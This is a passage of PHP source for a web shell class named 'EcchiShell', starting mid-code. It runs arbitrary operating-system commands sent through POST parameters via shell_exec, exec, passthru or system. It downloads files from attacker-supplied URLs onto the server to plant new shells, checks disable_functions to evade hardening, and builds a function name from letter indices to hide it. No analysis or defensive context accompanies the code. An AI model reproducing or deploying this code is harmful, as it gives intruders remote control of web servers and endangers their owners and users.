ExeCmd($_POST['function'], $_POST['cmd']); } else if (!empty($_POST['filename']) && !empty($_POST['url'])) { $this->newShell($_POST['filename'], $_POST['url']); } } /** * Summary of newShell * @return null */ private function newShell($filename, $url) { $getFile = file_get_contents($url); if (!file_exists($filename)) { file_put_contents($filename, $getFile); } else { $openFile = fopen($filename, "w"); fwrite($openFile, $getFile); fclose($openFile); } $this->setResult("Success Create File " . $filename . " at " . str_replace("\\", "/", dirname(__FILE__) . "/" . $filename) . ""); } /** * Summary of getDisable * @param mixed $act * @return mixed */ public function getDisable($act = null) { define("low", range("a", "z")); $in = low[8] . low[13] . low[8] . "_" . low[6] . low[4] . low[19]; if ($act = 'UI') { return $in("disable_functions") == null ? 'Nothing' : $in("disable_functions"); } else { return $in("disable_functions"); } } /** * Summary of ExeCmd * @param mixed $command * @param mixed $payload * @return null */ private function ExeCmd($command, $payload) { $split = explode(",", $this->getDisable()); if (in_array($command, $split)) { $this->setResult("Function Is Disable : " . $this->getDisable()); } else { if ($command == 'shell_exec') { $this->result = $command($payload); } else if ($command == 'exec') { $command($payload, $this->result); $this->result = join("\n", $this->result); } else if ($command == 'passthru' || 'system') { ob_start(); $command($payload); $this->result = ob_get_contents(); ob_end_clean(); } else { $this->result = call_user_func_array($command, $payload); } $this->setResult($this->result); } } /** * @return mixed */ public function getResult() { return $this->result; } /** * @param mixed $result * @return self */ public function setResult($result): self { $this->result = $result; return $this; } } $ecchishell = new EcchiShell; ?>